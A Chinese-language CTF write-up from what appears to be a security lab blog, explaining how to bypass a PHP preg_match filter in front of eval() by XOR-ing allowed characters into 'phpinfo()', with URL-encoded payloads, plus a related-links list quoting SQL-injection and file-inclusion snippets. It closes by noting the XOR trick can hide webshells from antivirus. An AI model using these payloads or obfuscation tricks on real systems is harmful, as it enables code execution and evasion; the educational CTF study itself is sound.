某變態CTF比賽繞過preg_match

2021-02-21 鐵幕攻防實驗室

在圈子中看到了有表哥發變態CTF中preg_match繞過的姿勢,並沒有寫繞過的具體原理及方法,本著學習的態度,查了查資料簡單復現了一下。

0x00 題目原型是這樣的

測試環境

php7.0.12

apache5.3

<?php
highlight_file(__FILE__);
if(!preg_match('/[0-9,.$&|{_defogps]/is',$_GET['shell'])){
eval($_GET['shell']);
}?>

簡單理解shell參數接收時不允許包含以下字符串"0123456789,.$&|{_defogps]",最終的目的是要到eval()函數中去執行任意代碼,這題也就是考研我們如何繞過這個preg_match。

通過表哥給的姿勢是這樣的

http://127.0.0.1/1.php?shell=(%27%01%00%01%00%00%04%01%27^%27qhqinbn%27)();

標紅的部分是payload

最終結果

簡單來說將特殊字符通過異或的方式重組了phpinfo();,當然這也得益於php語義的靈活性。下面看看如何構造payload。

0x01 原理

什麼是按位異或,異或本質是二進位運算

1001

0101

----

1100


對應二進位位相異(不相同)時,結果為1,否則為0.

舉例: 比如9^5,其實就是1001^ 0101 = 1,因此9^5=1100=12

在php中,abc^def,會產生一個新的字符串,比較方式是:a的ascii碼和d的ascii碼進行二進位異或操作,生成新的二進位,然後轉換為ascii,進而生成新的異或結果。所以,異或會產生新的字符串,上面表哥給的payload就是基於這樣的方式生成出來的。

0x02 生成有效的異或字符

1、先過濾出未被程序過濾的字符的ASCII碼

0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,37,39,40,41,42,43,45,47,58,59,60,61,62,63,64,65,66,67,72,73,74,75,76,77,78,81,82,84,85,86,87,88,89,90,91,92,93,94,96,97,98,99,104,105,106,107,108,109,110,113,114,116,..後面省略了

2、使用python腳本過濾有效的字符

通過以上呢可以有效的獲取到phpinfo異或後的組合,可以看到有很多

隨便挑一個就行了

10^69=p

11^79=h

10^69=p

10^79=i

16^78=n

11^77=f

16^79=o

最後換成url格式

%27%10%11%10%10%16%11%16%27^%27%60y%60yxwy%27;

成功執行

總結

異或除了繞過以外,還可以免殺自己的webshell哦。

如果對你有幫助,請關注,轉發哦~~

相關焦點

  • php異或計算繞過preg_match()
    進行連接,便可以繞過preg_match匹配。詳情了解php不同於其他語言部分但是很多的preg_match會過濾掉".",所以需要使用異或運算進行繞過,很多的免殺馬都是這樣製作的。以GET或POST傳入字符繞preg_match為例:php的eval()函數在執行時如果內部有類似"abc"^"def"的計算式,那麼就先進行計算再執行,我們可以利用再創參數來實現更方便的操作,例如傳入?
  • CTF題記——計劃第一周
    username=admin&password=1' ununionion seselectlect 1,2,group_concat(flag)frfromom(ctf.Flag)#img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');$file = hex2bin(base64_decode(base64_decode($_GET['img'])));$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);if (preg_match("/flag/i", $file)) { echo '&
  • 【代碼審計】PHP代碼審計之CTF系列(3)
    payload:http://127.0.0.1/ctf/1.php?file=http://127.0.0.1//ctf/1.php?最終構造url為:http://www.ctf.com/3.php?^.^=data://text/plain;charset=unicode,(●'◡'●)challenge 18訪問網頁,查看源碼<?
  • CTF中常見的PHP漏洞小結
    在做ctf題的時候經常會遇到一些PHP代碼審計的題目,這裡將我遇到過的常見漏洞做一個小結。md5()漏洞  PHP在處理哈希字符串時,會利用」!=」或」==」來對哈希值進行比較,它把每一個以」0E」開頭的哈希值都解釋為0,所以如果兩個不同的密碼經過哈希以後,其哈希值都是以」0E」開頭的,那麼PHP將會認為他們相同,都是0。
  • CTF中的PHP安全特性總結
    if(preg_match("/[0-9]/", $num)){  4.         die("no no no!");  1.2 代碼審計    此段代碼中最關鍵的函數為preg_match,根據官方文檔其作用為匹配正則表達式。
  • php preg_replace_callback回調函數傳參問題
    這是該回調函數的籤名:經常會需要 callback 函數而僅用於 preg_replace_callback() 一個地方的調用。在這種情況下,你可以使用 匿名函數 來定義一個匿名函數作為 preg_replace_callback() 調用時的回調。 這樣做你可以保留所有調用信息在同一個位置並且不會因為一個不在任何其他地方使用的回調函數名稱而汙染函數名稱空間。
  • 看代碼學安全(8 )preg_replace函數之命令執行
    下面是 第8篇代碼審計文章:Day8 - Candle題目叫蠟燭,代碼如下preg_replace:(PHP 5.5)功能 : 函數執行一個正則表達式的搜索和替換定義 : mixed preg_replace
  • php中函數禁用繞過的原理與利用
    本文涉及相關實驗:繞過函數過濾https://www.hetianlab.com/expc.do?disable_functions這是本文的重點,disable_functions顧名思義函數禁用,以筆者的kali環境為例,默認就禁用了如下函數:如一些ctf題會把disable設置的極其噁心,即使我們在上傳馬兒到網站後會發現什麼也做不了,那麼此時的繞過就是本文所要講的內容了。
  • 比賽?怎麼比?(race,game,match)
    今天讓我們一起來學習關於「比賽」的單詞和用法。⑴racerace意為比賽,特指賽跑,賽車,遊泳等與速度相關的比賽,為可數名詞。注:race 是可數名詞,在指多場比賽時需在後面加「s」⑵game①多用於球類,棋類等體育比賽,此時可與match互換,為可數名詞。
  • CTF從入門到提升(三)
    國內外著名比賽:國內:xctf聯賽 0ctf上海國內外都有,很強。,10關,過關的形式 不同的注入,循序漸近地練習:redtiger.labs.overthewire.orggithub.com/truongkma/ctf-toolsgithub.com/zardus/ctf-tools選擇一場已經存在writeup的比賽,總結解題過程,分析出題人想法。
  • CTF入門指南 | 內附教程分享
    capture the flag 奪旗比賽類型:Web密碼學Pwn 程序的邏輯分析,漏洞利用windows、linux、小型機等Misc 雜項,隱寫,數據還原,腦洞、社會工程、與信息安全相關的大數據reverse 逆向Windows、Linux
  • 桌球比賽,game和match怎麼分?
    這兩天看裡約奧運會桌球比賽,每次比分出現10分的時候,左下角就會出現game point的字樣,而如果一位選手連贏了三局,在第四局還有一分就能獲勝的時候,左下角會出現match point的字樣。熟悉比賽的同學們應該都知道,這就是比賽中的「局點」(game point)和「賽點」(match point)。
  • CTF小白入門學習指南
    其中,題目大概有這麼幾個 web,密碼學,pwn(綜合滲透),misc(雜項),reverse(逆向),ppc(編程類)而攻防模式的比賽一般就是每一個參賽隊伍,在同一個網絡中,進行相互攻擊和防守,以發現對手伺服器的漏洞,修補和防禦己方伺服器漏洞來得分,一般比賽時間較長,而混合模式就是兩者皆有。那應該如何開始你的CTF得旅程呢?
  • 「shouting match」別理解成「吶喊比賽」
    大家好,歡迎來的餅哥英語的頻道,今天我們分享一個非常有用且地道的表達——shouting match, 這個短語的含義不是指「吶喊比賽」,其正確的含義是:shouting match 大聲爭吵 The
  • 《親愛的熱愛的》裡面韓商言從事的ctf到底是什麼你知道麼?
    《親愛的熱愛的》這部劇熱播以後,李現扮演的男主韓商言從事的ctf這個項目也熱了起來,其實在原著裡面韓商言從事的電競指的是遊戲,並非現在改編的ctf,小說裡面韓商言是《反恐精英》又稱cs的職業選手,曾是當年CS界最有名的solo戰隊唯一投資人兼主力隊員。
  • CTF 玩轉 pwn 月度總結
    0x56144ab7e0c0: 0x0000000000000000  0x00000000000001110x56144ab7e0d0: 0x00007f26abbacb78  0x00007f26abbacb78 --> 指向libc中的某地址(程序使用的是write
  • CWM Match Regulations 比賽規則
    Matches are best of 3 sets —the first player to win 2 sets wins the match.比賽採用三盤兩勝,前兩盤為6局無佔先(金球接發選邊), 局數5-5後,贏兩局到7獲勝,6-6搶七;雙方盤數1:1,第三盤進行搶十。注: * 搶七或者搶十需贏對手2分球獲勝。* 球接觸除球拍和球網以外的其他物品,如圍欄、屋頂、身體部位等,算失分。* UTR比賽訂場需保證至少兩小時。
  • 幫你全面學習match的用法
    許多人見到Match都會想到「比賽」,其實match這個詞是個轉換詞,它可以做名詞也可以做動詞,在具體的語言環境中有它明確的詞義和詞性,這裡有思維導圖列出了match的具體用法,便於大家對match有個完整的理解和記憶,更準確地運用這個詞,下面我們來學習match的具體用法: